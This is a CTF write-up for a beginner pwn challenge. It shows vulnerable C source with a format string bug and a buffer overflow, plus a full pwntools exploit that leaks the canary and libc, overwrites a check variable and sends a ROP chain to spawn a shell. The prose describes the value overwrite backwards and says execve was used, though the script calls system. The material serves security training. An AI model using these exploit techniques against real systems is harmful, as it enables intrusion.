[n00b-CTF 2026]-Pwn/Googogaga

Overview#

This is the challenge that I made in n00b CTF which is Annual Recruitment CTF of InfoSecIITR for freshers.The goal of the challenge was to get the solvers know about the format sting bug and ROP chain. All mitigations are enabled

1
Canary                                  : Enabled
2
NX                                      : Enabled
3
PIE                                     : Enabled
4
RELRO                                   : Full RELRO
5
Fortify                                 : Not found

Source Code#

This is the source code for the challenges.The main() function does some religious buffering and calls a function named leak().It’s kinda obvious from the name that this function will leak the address which will be used for later exploitation.Then It stores 0xdeadbeef in a stack variable and then calls the function arb_w(). Then it performs a check on check variable and after passing check it calls vuln function The program is exiting via _exit syscall. Vuln function introduces plain old powerful buffer overflow vulnerability.

1
#include <stdio.h>
2
#include <string.h>
3
#include <unistd.h>
4

5
void leak() {
6
  puts("S0 you have come !!!");
7
  puts("Time for some test!!!");
8
  puts(("I hope you solved my previous challenge!!!"));
9
  char leak[0x20] = {0x0};
10
  if (fgets(leak, 0x12, stdin)) {
11
    leak[strcspn(leak, "\n")] = '\0';
12
  }
13
  printf(leak);
14
  puts("\nSanity check");
15
}
16

17
void arb_w() {
18
  puts("Some play stuff!!");
19
  char input[0x80] = {0x0};
20
  puts("Enter your desire!!");
21
  if (fgets(input, 0x52, stdin)) {
22
    input[strcspn(input, "\n")] = '\0'; // new line remover
23
  }
24
  printf(input);
25
}
26

27
void win() { puts(("Sanity check system('/bin/sh')")); }
28

29
void vuln() {
30
  puts(("So how did you reach here? !!!"));
31
  char some[0x10];
32
  read(STDIN_FILENO, some, 0x100);
33
  puts("I hope you had fun!!");
34
}
35

36
int main() {
37
  // setup
38
  setvbuf(stdin, NULL, _IONBF, 0);
39
  setvbuf(stdout, NULL, _IONBF, 0);
40
  setvbuf(stderr, NULL, _IONBF, 0);
41
  leak();
42
  size_t check = 0xcafebabe;
43
  arb_w();
44
  puts("\nDid you realise it?");
45
  if (check == 0xdeadbeef) {
46
    puts("Ohho , you still want to fight?");
47
    vuln();
48
  }
49
  puts("\nNo you did not !!");
50
  _exit(0);
51
}

To get a shell by rop chain there are many methods. One of them is to use system function in libc, and if user have libc leak so it can create a chain using pop rdi ; ret in libc where system executes '/bin/sh' as first argument and done! Another method is to use execve syscall and '/bin/sh' as its first argument. For Beginners, Read the man page of execve to know more about this. I used execve syscall cuz when I was testing it,'/bin/sh' address was not showing in libc address in gef. idk why? So I put '/bin/sh' on stack and used that address in rdi.

Exploitation#

Exploitation part is really simple. Leak the libc address,stack address and canary then using printf in arb_w, overwrite the value of check variable from 0xdeadbeef to 0xcafebabe to pass the check. And then in Vuln function Put a rop chain on the stack. To arbitrary write stack address using format string,you can do it either manually or so pwntools have a function for automating it.Since,Manually writing it is tough,so I gave enough space in buffer so that even after not using 'short' in function argument the user can easily overwrite it.

1
from pwn import *
2
elf = context.binary = ELF("./googogaga")
3
context.log_level = "debug"
4

5
# io = process()
6

7
io = remote("34.66.182.218",6010)
8

9
# gdb.attach(io,gdbscript='''
10
#         #    break *leak+172
11
#         # break *arb_w
12
#         # break *vuln+0x47''')
13

14
leak_payload = b"%11$p%12$p%17$p"
15
io.sendline(leak_payload)
16
io.recvuntil(b"challenge!!!\n")
17
canary = int(io.recvn(0x12),0x10)
18
stack_leak = int(io.recvn(0xe),0x10)
19
libc_leak = int(io.recvn(0xe),0x10)-0x29d90
20
io.recvuntil(b"desire!!\n")
21

22
offset = 0x6
23
write = {(stack_leak-0x8):0xdeadbeef}
24
payload = fmtstr_payload(offset,write)
25

26
io.sendline(payload)
27
io.recvuntil(b"here? !!!\n")
28
pop_rdi =libc_leak+0x000000000002a3e5
29
system = libc_leak+0x50d70
30
bin_sh =  stack_leak-0x20
31
ret = pop_rdi+0x1
32
rop_payload = b"\x90"*0x18+pack(canary)+b"/bin/sh\x00"+pack(pop_rdi)+pack(bin_sh)+pack(ret)+pack(system)
33
io.sendline(rop_payload)
34
io.interactive()

Resources: format string basic | canariy basic | pwntools docs |